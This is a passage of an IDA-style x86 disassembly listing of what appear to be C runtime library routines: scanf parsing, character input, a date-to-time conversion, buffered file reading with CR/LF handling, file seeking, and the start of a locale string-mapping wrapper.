; ---------------------------------------------------------------------------

loc_41B5E5:				; CODE XREF: sub_41AD3D+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41B624
; ---------------------------------------------------------------------------

loc_41B5EC:				; CODE XREF: sub_41AD3D+86Ej
					; sub_41AD3D+873j
		cmp	dword_437F7C, 1
		jle	short loc_41B604
		push	80h
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B611
; ---------------------------------------------------------------------------

loc_41B604:				; CODE XREF: sub_41AD3D+8B6j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41B611:				; CODE XREF: sub_41AD3D+8C5j
		test	eax, eax
		jz	short loc_41B64C
		push	ebx
		shl	edi, 4
		call	sub_41B762
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41B624:				; CODE XREF: sub_41AD3D+8A6j
					; sub_41AD3D+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41B636
		dec	[ebp+var_C]
		jz	short loc_41B65A

loc_41B636:				; CODE XREF: sub_41AD3D+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B5A8
; ---------------------------------------------------------------------------

loc_41B64C:				; CODE XREF: sub_41AD3D+897j
					; sub_41AD3D+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx

loc_41B65A:				; CODE XREF: sub_41AD3D+865j
					; sub_41AD3D+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41B662
		neg	edi

loc_41B662:				; CODE XREF: sub_41AD3D+843j
					; sub_41AD3D+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41B66B
		and	[ebp+var_1C], 0

loc_41B66B:				; CODE XREF: sub_41AD3D+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	short loc_41B6A4
		inc	[ebp+var_34]

loc_41B67E:				; CODE XREF: sub_41AD3D+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41B694
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B694:				; CODE XREF: sub_41AD3D+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B6A1
		mov	[eax], edi
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B6A1:				; CODE XREF: sub_41AD3D+95Ej
		mov	[eax], di

loc_41B6A4:				; CODE XREF: sub_41AD3D+241j
					; sub_41AD3D+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41B6F1
; ---------------------------------------------------------------------------

loc_41B6AF:				; CODE XREF: sub_41AD3D+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41B71E
		mov	ecx, off_437D70
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B6F1
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41B72C
		dec	[ebp+var_4]

loc_41B6F1:				; CODE XREF: sub_41AD3D+970j
					; sub_41AD3D+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B707
		cmp	byte ptr [esi],	25h
		jnz	short loc_41B749
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41B749
		mov	esi, eax

loc_41B707:				; CODE XREF: sub_41AD3D+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41AD67
		jmp	short loc_41B743
; ---------------------------------------------------------------------------

loc_41B713:				; CODE XREF: sub_41AD3D+1F4j
					; sub_41AD3D+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41B723
; ---------------------------------------------------------------------------

loc_41B71E:				; CODE XREF: sub_41AD3D+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_41B723:				; CODE XREF: sub_41AD3D+9DFj
		call	sub_41B7B3
		pop	ecx
		pop	ecx
		jmp	short loc_41B743
; ---------------------------------------------------------------------------

loc_41B72C:				; CODE XREF: sub_41AD3D+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7B3
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B7B3
		add	esp, 10h

loc_41B743:				; CODE XREF: sub_41AD3D+1Fj
					; sub_41AD3D+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B75A

loc_41B749:				; CODE XREF: sub_41AD3D+9BDj
					; sub_41AD3D+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41B75D
		cmp	[ebp+var_15], al
		jnz	short loc_41B75D
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B75D
; ---------------------------------------------------------------------------

loc_41B75A:				; CODE XREF: sub_41AD3D+A0Aj
		mov	eax, [ebp+var_34]

loc_41B75D:				; CODE XREF: sub_41AD3D+A11j
					; sub_41AD3D+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AD3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B762	proc near		; CODE XREF: sub_41AD3D+7A3p
					; sub_41AD3D+8DCp

arg_0		= dword	ptr  4

		cmp	dword_437F7C, 1
		push	esi
		jle	short loc_41B77C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B78B
; ---------------------------------------------------------------------------

loc_41B77C:				; CODE XREF: sub_41B762+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_437D70
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B78B:				; CODE XREF: sub_41B762+18j
		test	eax, eax
		jnz	short loc_41B795
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_41B795:				; CODE XREF: sub_41B762+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41B762	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B799	proc near		; CODE XREF: sub_41AD3D+1E1p
					; sub_41AD3D+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41B7AB
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_41B7AB:				; CODE XREF: sub_41B799+7j
		push	edx
		call	sub_41B8B0
		pop	ecx
		retn
sub_41B799	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7B3	proc near		; CODE XREF: sub_41AD3D+6Bp
					; sub_41AD3D+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41B7C9
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41E0DF
		pop	ecx
		pop	ecx

locret_41B7C9:				; CODE XREF: sub_41B7B3+5j
		retn
sub_41B7B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7CA	proc near		; CODE XREF: sub_41AD3D+63p
					; sub_41AD3D+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_41B7D0:				; CODE XREF: sub_41B7CA+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41B799
		mov	edi, eax
		push	edi
		call	sub_41E095
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7D0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41B7CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7EE	proc near		; CODE XREF: sub_416AD4+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41B8AA
		cmp	ebx, 8Ah
		jg	loc_41B8AA
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_438804[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41B82D
		cmp	edi, 2
		jle	short loc_41B82D
		inc	esi

loc_41B82D:				; CODE XREF: sub_41B7EE+37j
					; sub_41B7EE+3Cj
		call	sub_41E14D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_438720
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41B8A0
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41B8A6
		cmp	dword_438724, 0
		jz	short loc_41B8A6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41E3C0
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B8A6

loc_41B8A0:				; CODE XREF: sub_41B7EE+90j
		add	ecx, dword_438728

loc_41B8A6:				; CODE XREF: sub_41B7EE+96j
					; sub_41B7EE+9Fj ...
		mov	eax, ecx
		jmp	short loc_41B8AD
; ---------------------------------------------------------------------------

loc_41B8AA:				; CODE XREF: sub_41B7EE+13j
					; sub_41B7EE+1Fj
		or	eax, 0FFFFFFFFh

loc_41B8AD:				; CODE XREF: sub_41B7EE+BAj
		pop	ebx
		leave
		retn
sub_41B7EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8B0	proc near		; CODE XREF: sub_416BB0+A9p
					; sub_41713C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41B984
		test	al, 40h
		jnz	loc_41B984
		test	al, 2
		jz	short loc_41B8D6
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41B984
; ---------------------------------------------------------------------------

loc_41B8D6:				; CODE XREF: sub_41B8B0+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B8EA
		push	esi
		call	sub_41D06C
		pop	ecx
		jmp	short loc_41B8EF
; ---------------------------------------------------------------------------

loc_41B8EA:				; CODE XREF: sub_41B8B0+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41B8EF:				; CODE XREF: sub_41B8B0+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41B989
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41B973
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B973
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41B948
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41B931
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_46A7C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41B936
; ---------------------------------------------------------------------------

loc_41B931:				; CODE XREF: sub_41B8B0+6Bj
		mov	edi, offset dword_4383D0

loc_41B936:				; CODE XREF: sub_41B8B0+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41B948
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41B948:				; CODE XREF: sub_41B8B0+62j
					; sub_41B8B0+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41B965
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41B965
		test	ch, 4
		jnz	short loc_41B965
		mov	dword ptr [esi+18h], 1000h

loc_41B965:				; CODE XREF: sub_41B8B0+9Fj
					; sub_41B8B0+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B8B0+55j
					; sub_41B8B0+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41B984:				; CODE XREF: sub_41B8B0+Aj
					; sub_41B8B0+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41B8B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B989	proc near		; CODE XREF: sub_416BB0+90p
					; sub_41B8B0+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_46A8C0
		jnb	loc_41BB66
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:46A7C0h[eax*4]
		mov	eax, dword_46A7C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41BB66
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41BA3E
		test	dl, 2
		jnz	short loc_41BA3E
		test	dl, 48h
		jz	short loc_41B9FE
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41B9FE
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41B9FE:				; CODE XREF: sub_41B989+56j
					; sub_41B989+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41BA51
		call	dword_421088	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41BA39
		mov	dword_469494, 9
		mov	dword_469498, ecx
		jmp	loc_41BB77
; ---------------------------------------------------------------------------

loc_41BA39:				; CODE XREF: sub_41B989+99j
		cmp	eax, 6Dh
		jnz	short loc_41BA45

loc_41BA3E:				; CODE XREF: sub_41B989+4Cj
					; sub_41B989+51j
		xor	eax, eax
		jmp	loc_41BB7A
; ---------------------------------------------------------------------------

loc_41BA45:				; CODE XREF: sub_41B989+B3j
		push	eax
		call	sub_41C5D7
		pop	ecx
		jmp	loc_41BB77
; ---------------------------------------------------------------------------

loc_41BA51:				; CODE XREF: sub_41B989+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41BB61
		test	edx, edx
		jz	short loc_41BA76
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41BA76
		or	al, 4
		jmp	short loc_41BA78
; ---------------------------------------------------------------------------

loc_41BA76:				; CODE XREF: sub_41B989+E2j
					; sub_41B989+E7j
		and	al, 0FBh

loc_41BA78:				; CODE XREF: sub_41B989+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41BB5B

loc_41BA90:				; CODE XREF: sub_41B989+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41BB4B
		cmp	al, 0Dh
		jz	short loc_41BAAC
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41BB3D
; ---------------------------------------------------------------------------

loc_41BAAC:				; CODE XREF: sub_41B989+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41BACA
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BAC1
		add	[ebp+arg_8], 2
		jmp	short loc_41BB1F
; ---------------------------------------------------------------------------

loc_41BAC1:				; CODE XREF: sub_41B989+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------

loc_41BACA:				; CODE XREF: sub_41B989+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41BAF2
		call	dword_421088	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41BB39

loc_41BAF2:				; CODE XREF: sub_41B989+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41BB39
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41BB14
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41BB1F
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------

loc_41BB14:				; CODE XREF: sub_41B989+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41BB24
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41BB24

loc_41BB1F:				; CODE XREF: sub_41B989+136j
					; sub_41B989+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41BB3C
; ---------------------------------------------------------------------------

loc_41BB24:				; CODE XREF: sub_41B989+18Ej
					; sub_41B989+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41BB3D

loc_41BB39:				; CODE XREF: sub_41B989+167j
					; sub_41B989+16Dj
		mov	byte ptr [edi],	0Dh

loc_41BB3C:				; CODE XREF: sub_41B989+199j
		inc	edi

loc_41BB3D:				; CODE XREF: sub_41B989+11Ej
					; sub_41B989+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41BA90
		jmp	short loc_41BB5B
; ---------------------------------------------------------------------------

loc_41BB4B:				; CODE XREF: sub_41B989+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41BB5B
		or	al, 2
		mov	[esi], al

loc_41BB5B:				; CODE XREF: sub_41B989+101j
					; sub_41B989+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41BB61:				; CODE XREF: sub_41B989+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41BB7A
; ---------------------------------------------------------------------------

loc_41BB66:				; CODE XREF: sub_41B989+12j
					; sub_41B989+39j
		and	dword_469498, 0
		mov	dword_469494, 9

loc_41BB77:				; CODE XREF: sub_41B989+ABj
					; sub_41B989+C3j
		or	eax, 0FFFFFFFFh

loc_41BB7A:				; CODE XREF: sub_41B989+B7j
					; sub_41B989+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B989	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB7F	proc near		; CODE XREF: sub_416E3E+67p
					; sub_417C37+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_46A8C0
		push	esi
		push	edi
		jnb	short loc_41BC01
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41BC01
		push	eax
		call	sub_41D4C6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41BBC3
		mov	dword_469494, 9
		jmp	short loc_41BC12
; ---------------------------------------------------------------------------

loc_41BBC3:				; CODE XREF: sub_41BB7F+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_4210AC	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41BBE3
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41BBE5
; ---------------------------------------------------------------------------

loc_41BBE3:				; CODE XREF: sub_41BB7F+5Aj
		xor	eax, eax

loc_41BBE5:				; CODE XREF: sub_41BB7F+62j
		test	eax, eax
		jz	short loc_41BBF2
		push	eax
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_41BC12
; ---------------------------------------------------------------------------

loc_41BBF2:				; CODE XREF: sub_41BB7F+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41BC15
; ---------------------------------------------------------------------------

loc_41BC01:				; CODE XREF: sub_41BB7F+Dj
					; sub_41BB7F+2Aj
		and	dword_469498, 0
		mov	dword_469494, 9

loc_41BC12:				; CODE XREF: sub_41BB7F+42j
					; sub_41BB7F+71j
		or	eax, 0FFFFFFFFh

loc_41BC15:				; CODE XREF: sub_41BB7F+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BB7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC19	proc near		; CODE XREF: sub_416E3E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41BC35
		mov	[edi+4], ebx

loc_41BC35:				; CODE XREF: sub_41BC19+17j
		push	1
		push	ebx
		push	esi
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41BCA3
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41BC5A
		sub	eax, [edi+4]
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------

loc_41BC5A:				; CODE XREF: sub_41BC19+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41BC94
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_46A7C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41BCAB
		mov	edx, ecx

loc_41BC85:				; CODE XREF: sub_41BC19+79j
		cmp	edx, eax
		jnb	short loc_41BCAB
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41BC91
		inc	[ebp+var_8]

loc_41BC91:				; CODE XREF: sub_41BC19+73j
		inc	edx
		jmp	short loc_41BC85
; ---------------------------------------------------------------------------

loc_41BC94:				; CODE XREF: sub_41BC19+50j
		test	dl, 80h
		jnz	short loc_41BCAB
		mov	dword_469494, 16h

loc_41BCA3:				; CODE XREF: sub_41BC19+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------

loc_41BCAB:				; CODE XREF: sub_41BC19+68j
					; sub_41BC19+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41BCB9
		mov	eax, [ebp+var_8]
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------

loc_41BCB9:				; CODE XREF: sub_41BC19+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41BD64
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41BCD2
		and	[ebp+var_8], edx
		jmp	loc_41BD64
; ---------------------------------------------------------------------------

loc_41BCD2:				; CODE XREF: sub_41BC19+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41BD5E
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BD25
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_41BD10:				; CODE XREF: sub_41BC19+104j
		cmp	eax, ecx
		jnb	short loc_41BD1F
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BD1C
		inc	[ebp+arg_0]

loc_41BD1C:				; CODE XREF: sub_41BC19+FEj
		inc	eax
		jmp	short loc_41BD10
; ---------------------------------------------------------------------------

loc_41BD1F:				; CODE XREF: sub_41BC19+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41BD59
; ---------------------------------------------------------------------------

loc_41BD25:				; CODE XREF: sub_41BC19+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41BB7F
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41BD4C
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41BD4C
		test	ch, 4
		jz	short loc_41BD4F

loc_41BD4C:				; CODE XREF: sub_41BC19+124j
					; sub_41BC19+12Cj
		mov	eax, [edi+18h]

loc_41BD4F:				; CODE XREF: sub_41BC19+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_41BD59:				; CODE XREF: sub_41BC19+10Aj
		jz	short loc_41BD5E
		inc	[ebp+arg_0]

loc_41BD5E:				; CODE XREF: sub_41BC19+D9j
					; sub_41BC19:loc_41BD59j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_41BD64:				; CODE XREF: sub_41BC19+A4j
					; sub_41BC19+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_41BD6C:				; CODE XREF: sub_41BC19+3Cj
					; sub_41BC19+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BC19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD71	proc near		; CODE XREF: sub_417193+A3p
					; sub_41AC71+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421878
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_46951C, edi
		jnz	short loc_41BDE7
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_421870
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_421190	; LCMapStringW
		test	eax, eax
		jz	short loc_41BDC5
		mov	dword_46951C, ebx
		jmp	short loc_41BDE7
; ---------------------------------------------------------------------------

loc_41BDC5:				; CODE XREF: sub_41BD71+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_438FD4
		push	esi
		push	edi
		call	dword_42118C	; LCMapStringA
		test	eax, eax
		jz	loc_41BEFF
		mov	dword_46951C, 2

loc_41BDE7:				; CODE XREF: sub_41BD71+2Ej
					; sub_41BD71+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41BDFC
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_41BDFC:				; CODE XREF: sub_41BD71+79j
